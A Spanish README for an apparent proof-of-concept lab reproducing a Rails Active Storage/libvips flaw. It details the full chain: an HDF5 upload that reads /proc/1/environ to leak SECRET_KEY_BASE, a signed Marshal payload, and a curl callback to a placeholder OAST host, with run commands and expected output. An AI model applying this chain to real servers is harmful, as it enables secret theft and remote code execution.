
CVE-2026-66066-POC — Actualizado!
PoC para CVE-2026-66066 en Ruby on Rails
PoC para CVE-2026-66066 - Laboratorio mínimo de stock Rails/libvips
Este repositorio reproduce la cadena de lectura-de-archivo-a-RCE de Rails Active Storage descrita en GHSA-xr9x-r78c-5hrm contra Rails 8.1.3, la versión afectada más reciente de Rails 8.1. Rails 8.1.3.1 es el control parcheado.
Úsalo solo en el laboratorio local desechable descrito aquí. El controlador HTTP rechaza objetivos que no sean de loopback (aunque es trivial modificar el código Python para pruebas autorizadas contra otros objetivos).
Límite estricto objetivo/atacante
El objetivo es una aplicación Rails convencional. Su imagen final contiene:
- la imagen oficial de Docker
ruby:3.4.10-slimfijada; - una aplicación generada por
rails _VERSION_ new; - los paquetes de runtime generados por Rails
curl,libjemalloc2,libvips, ysqlite3; - el entrypoint generado por Rails y el comando predeterminado
./bin/thrust ./bin/rails server; y - un modelo
Uploadnormal con un único adjunto de Active Storage, acciones HTML ordinariasnew,createyshow, y una variante de imagen PNG.
No contiene un constructor de artefactos, artefacto de subida, controlador de exploit,
constructor de Marshal, código de callback, endpoint de diagnóstico, rastreo de cargador,
script de arranque personalizado, fixture de secreto del objetivo, ni ruta solo-para-exploit. No
establece VIPS_TRACE, no reordena el entorno del proceso, no anula el serializador
de Active Storage, ni configura un procesador de imágenes no predeterminado.
El .dockerignore raíz envía solo Dockerfile y overlay/ a la compilación.
Los scripts Python del lado del host y todos los artefactos generados se excluyen del
contexto de compilación de Docker, no solo se omiten del paso final de copia.
El overlay completo del objetivo son cinco archivos ordinarios:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
La página de show usa la transformación normal mínima:
<%= image_tag @upload.avatar.variant(format: :png) %>
Una aplicación Rails nueva sin tocar no tiene modelo de aplicación ni página que acepte un adjunto, por lo que esos cinco archivos son la funcionalidad mínima de aplicación necesaria para representar la condición de subida-de-imagen-no-confiada del aviso.
Compilar y ejecutar el objetivo vulnerable
Los requisitos previos son Docker, OpenSSL, Python 3 y h5py para el
constructor de artefactos.
En la terminal 1:
./run_lab.sh 8.1.3
El script compila minimal-rails-vips:8.1.3, genera un
SECRET_KEY_BASE efímero a menos que ya se haya proporcionado uno, publica la aplicación
solo en 127.0.0.1:3000 y ejecuta el entrypoint generado de la imagen y el
comando predeterminado. No se monta ningún directorio fuente ni artefacto en el objetivo.
Si el puerto 3000 ya está ocupado, selecciona otro puerto de loopback sin cambiar la imagen:
HOST_PORT=33020 ./run_lab.sh 8.1.3
Usa el mismo puerto en --target del controlador.
Ejecutar el constructor y controlador combinados
En la terminal 2:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py es un constructor y controlador HTTP de un solo uso. A menos que
se proporcione --artifact, construye la subida en un directorio temporal privado,
lo conserva durante toda la secuencia de solicitudes y lo elimina cuando
el proceso sale. Construye ambas etapas en lugar de desempaquetar un payload
estático:
- Pide a
h5pyque cree un archivo MATLAB/HDF5 con un bloque de usuario de 512 bytes. - Crea un dataset
uint8little-endian de1 × 1024llamadoenvironment. - El dataset usa almacenamiento externo HDF5 respaldado por
/proc/1/environ, desplazamiento cero, con una extensión limitada de 1.024 bytes. - Añade
MATLAB_class="uint8"y escribe el encabezadoMATLAB 5.0usado por el sniffermatloadde libvips. - Su escritor mínimo de Ruby Marshal 4.8 construye el grafo de variación OOB unsigned completo.
- Añade un tráiler con verificación de integridad que contiene ese grafo serializado y un pequeño manifiesto con la URL OAST y el nonce de correlación.
El programa RCE integrado está fijado a /usr/bin/curl con un
array de argumentos estructurado. Realiza un GET a la URL OAST configurada y envía solo
el token de correlación aleatorio rails_ghsa_xr9x. No usa un shell y
no incluye secretos recuperados, salida de comandos, contenido de archivos ni un
identificador del objetivo en el callback.
Los parámetros del artefacto son:
--external-path: archivo absoluto del lado del objetivo, predeterminado/proc/1/environ;--bytes: extensión externa limitada de 128 a 4096, predeterminado 1024;--oast: URL base del callback integrada en el payload; y--nonce: nonce hexadecimal opcional de 16 bytes para un artefacto reproducible.
La URL OAST predeterminada es segura para loopback. Proporciona una URL de receptor alcanzable desde el contenedor para la verificación de extremo a extremo.
Para conservar la subida generada para inspección o reutilización, añade una ruta de artefacto:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
Un --artifact existente se valida y reutiliza. En ese caso, --oast, cuando
se proporciona, debe coincidir con su URL de callback integrada. Añade --force para reconstruir y
reemplazarlo atómicamente con los parámetros actuales del constructor.
Para la creación de artefactos sin ninguna solicitud HTTP, el constructor compañero sigue disponible:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target predeterminado es http://127.0.0.1:3000 y está restringido a
loopback literal o localhost.
La salida vulnerable esperada incluye:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Compara oast_nonce en la terminal con el
parámetro de consulta rails_ghsa_xr9x=<nonce> recibido por el servicio OAST. El
HTTP 500 de la solicitud de representación final es esperado: el callback
ocurre mientras se reconstruye el Hash Marshal autenticado, antes de que la
transformación general falle posteriormente.
Qué hace el controlador
La parte del constructor requiere h5py; las partes HTTP y criptográficas usan solo
la biblioteca estándar de Python:
- Construye y valida el artefacto de subida completo y el grafo Marshal unsigned integrado.
- Sube un PNG seguro a través del formulario HTML multipart ordinario de la aplicación, sigue la redirección normal y extrae la URL de representación de su elemento ``.
- Usa el endpoint de subida directa integrado de Active Storage de Rails para crear un
blob no adjunto declarado como
image/bmp, luego sube los bytes construidos. - Combina ese ID firmado de blob válido con la clave de variación normal de la imagen segura y solicita la representación.
- libvips Debian estándar selecciona la operación
matloadno fuzzeada. El PNG devuelto expone los bytes del dataset externo, incluido elSECRET_KEY_BASEdel runtime. - El controlador deriva la clave de verificador ordinaria de
ActiveStorage, lee el payload Marshal ya construido del artefacto, lo firma para el propósitovariationy solicita la URL de representación resultante. - La deserialización invoca el payload integrado
/usr/bin/curly produce el callback OOB ciego.
El objetivo no contribuye con ningún endpoint auxiliar ni gadget de firma. Las clases Ruby
usadas por el grafo serializado provienen de dependencias ya resueltas por un
Gemfile de rails new estándar; la aplicación no las requiere ni configura.
El procesamiento de imágenes permanece en el procesador :vips predeterminado de Rails durante todo el proceso.
Diferencial parcheado
Detén la terminal 1 con Ctrl-C, luego ejecuta:
./run_lab.sh 8.1.3.1
Vuelve a ejecutar el mismo comando del controlador combinado. Si se conservó un artefacto, puede
reutilizarse pasando la misma ruta --artifact. El resultado parcheado debería
detenerse en:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
No se devuelven píxeles del entorno, el payload integrado nunca se firma ni
se envía, y no ocurre ningún callback OAST. Active Storage 8.1.3.1 habilita
el bloque de operaciones no confiadas de libvips, por lo que matload se rechaza.
Verificar que la imagen del objetivo está limpia
La configuración final del runtime debería ser la generada:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
Esperado:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
Inspecciona el único script y confirma que los archivos del PoC están ausentes:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
La única entrada de script es /rails/script/.keep creado por el generador.
Las herramientas de compilación y los CLIs de imagen opcionales también permanecen fuera del runtime:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips está presente como biblioteca de runtime compartida aunque sus herramientas CLI no
están instaladas. El grafo de dependencias estándar de Debian proporciona el soporte de formato MAT/HDF5 vinculado.
Archivos
Dockerfilegenera y empaqueta el objetivo mínimo estándar..dockerignoreevita que los archivos del lado del atacante entren en el contexto de compilación.overlay/contiene solo los cinco archivos normales de la aplicación Rails.run_lab.shcompila y lanza el objetivo sin ejecutar el PoC.rails_vips_oast_poc.pyconstruye la imagen de lectura-de-archivo HDF5 y el payload OOB configurable, impulsa el flujo HTTP normal, recupera el secreto del verificador, firma el payload integrado y lo activa.